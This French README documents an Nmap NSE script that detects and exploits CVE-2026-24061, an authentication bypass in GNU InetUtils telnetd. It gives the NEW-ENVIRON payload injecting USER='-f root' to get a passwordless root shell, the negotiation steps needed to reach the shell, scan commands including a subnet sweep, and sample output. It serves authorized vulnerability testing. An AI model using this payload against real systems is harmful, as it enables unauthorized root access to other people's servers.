
Le script effectue une négociation Telnet complète en reproduisant la séquence d'octets exacte d'une session client telnet -a réelle.
Ce script Nmap NSE détecte CVE-2026-24061, une vulnérabilité de contournement d'authentification dans GNU InetUtils telnetd versions 1.9.3 à 2.7.
En envoyant une variable d'environnement USER spécialement conçue de la forme lors
de la négociation des options Telnet, un attaquant non authentifié peut obtenir un shell avec les
privilèges de l'utilisateur local spécifié — y compris — .
-f <nom_utilisateur>rootUtilisation prévue : Tests d'intrusion autorisés et évaluation de vulnérabilités uniquement.
L'exécution de ce script contre des systèmes sans autorisation écrite explicite est illégale.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2026-24061 |
| Affecté | GNU InetUtils telnetd 1.9.3 – 2.7 |
| Score CVSSv3 | 9.8 Critique |
| Vecteur | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Type | Contournement d'authentification (CWE-287) |
| Divulgation | 2026-01-01 |
GNU InetUtils telnetd utilise l'option Telnet NEW-ENVIRON (RFC 1572) pour recevoir
les variables d'environnement du client pendant la phase de négociation. Le programme login(1)
est ensuite invoqué avec ces variables.
La vulnérabilité provient du fait que telnetd transmet la variable USER directement à
login sans l'assainir. Le programme login sous Linux accepte un indicateur -f <utilisateur>
signifiant « pré-authentifié, ne pas vérifier le mot de passe ». En injectant
USER="-f root" via la charge utile NEW-ENVIRON, l'attaquant contourne entièrement l'authentification.
Client → Serveur : IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
Réponse du serveur : lance login -f root → shell root, aucun mot de passe requis
| Champ | Valeur |
|---|---|
| Nom du fichier | telnet-vuln-cve-2026-24061.nse |
| Catégories | vuln, exploit, intrusive |
| Port | TCP/23 (telnet) |
| Testé sur | Nmap 7.94 / 7.98, Windows & Linux |
Le script effectue une négociation Telnet complète reproduisant la séquence d'octets exacte
d'une session client telnet -a réelle (reconstruite à partir d'une capture Wireshark) :
DO TTYPE, DO TSPEED, DO ENVIRON, …)WILL TTYPE, WILL LINEMODE, …)SB TSPEED, SB ENVIRON, SB TTYPE)USER='-f <utilisateur>' conçu dans la charge utile NEW-ENVIRON ISWILL ECHO / DO BINARY / WONT LINEMODEÉtats de résultat :
| État | Signification |
|---|---|
EXPLOIT | Invite de shell reçue — contournement confirmé |
LIKELY_VULN | Charge utile ENV acceptée, aucune invite de mot de passe, mais aucune invite de shell |
NOT_VULN | Invite de mot de passe observée, ou négociation non terminée |
# Copier vers le répertoire des scripts Nmap
sudo cp telnet-vuln-cve-2026-24061.nse /usr/share/nmap/scripts/
# Mettre à jour la base de données des scripts
sudo nmap --script-updatedb
# Copier vers le répertoire des scripts Nmap (ajuster le chemin si nécessaire)
copy telnet-vuln-cve-2026-24061.nse "C:\Program Files (x86)\Nmap\scripts\"
# Mettre à jour la base de données des scripts (exécuter en tant qu'administrateur)
nmap --script-updatedb
nmap -p 23 --script telnet-vuln-cve-2026-24061 <cible>
# Forme courte
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args user=kali <cible>
# Forme moyenne
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args telnet-user=kali <cible>
# Forme entièrement qualifiée
nmap -p 23 --script telnet-vuln-cve-2026-24061 \
--script-args telnet-vuln-cve-2026-24061.user=kali <cible>
nmap -p 23 --script telnet-vuln-cve-2026-24061 192.168.1.0/24
nmap -p 23 --script telnet-vuln-cve-2026-24061 -v <cible> # verbeux
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d <cible> # débogage
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d2 <cible> # trace hexadécimale complète
PORT STATE SERVICE
23/tcp open telnet
| telnet-vuln-cve-2026-24061:
| VULNERABLE:
| Contournement d'authentification GNU InetUtils telnetd
| État : VULNÉRABLE (Exploitable)
| ID : CVE:CVE-2026-24061
| Facteur de risque : Critique CVSSv3 : 9.8
| Description :
| Le service telnetd dans GNU InetUtils (1.9.3 - 2.7) permet
| un contournement d'authentification via une variable d'environnement USER conçue.
| L'envoi de '-f <utilisateur>' aboutit à un shell de connexion non authentifié.
| Informations supplémentaires :
| Authentification contournée : invite de shell reçue après injection
| de USER='-f root' -- aucune demande de mot de passe n'a été présentée.
| Références :
| https://nvd.nist.gov/vuln/detail/CVE-2026-24061
| https://github.com/JayGLXR/CVE-2026-24061-POC
|_ https://github.com/SafeBreach-Labs/CVE-2026-24061
PORT STATE SERVICE
23/tcp open telnet
(aucune sortie de script — NOT_VULN est silencieux par conception, convention Nmap standard)
| Argument | Alias | Défaut | Description |
|---|---|---|---|
telnet-vuln-cve-2026-24061.user | telnet-user, user | root | Nom d'utilisateur à injecter via -f |
GNU InetUtils telnetd utilise la négociation Linemode (RFC 1184) pour déterminer le
mode d'E/S du terminal. Le serveur envoie DO LINEMODE tôt dans la négociation, et le
client répond initialement WILL LINEMODE. Après l'échange de la charge utile ENV, le serveur
envoie WILL ECHO suivi de DO BINARY. À ce stade, le client doit répondre
avec WONT LINEMODE pour signaler le mode caractère par caractère — c'est seulement alors que telnetd
peut finaliser la configuration PTY (ioctl TIOCSWINSZ) et lancer login. Sans cette étape, le
serveur journalise peer died: Inappropriate ioctl for device et abandonne la connexion.
L'API socket NSE de Nmap diffère des conventions socket Lua standard :
-- Nmap NSE (correct) :
local status, data = sock:receive_bytes(1)
if status == true then -- data est la chaîne reçue
Ce script est fourni uniquement pour des tests de sécurité autorisés et des fins de recherche. L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par cet outil. Obtenez toujours une autorisation écrite explicite avant de tester des systèmes que vous ne possédez pas.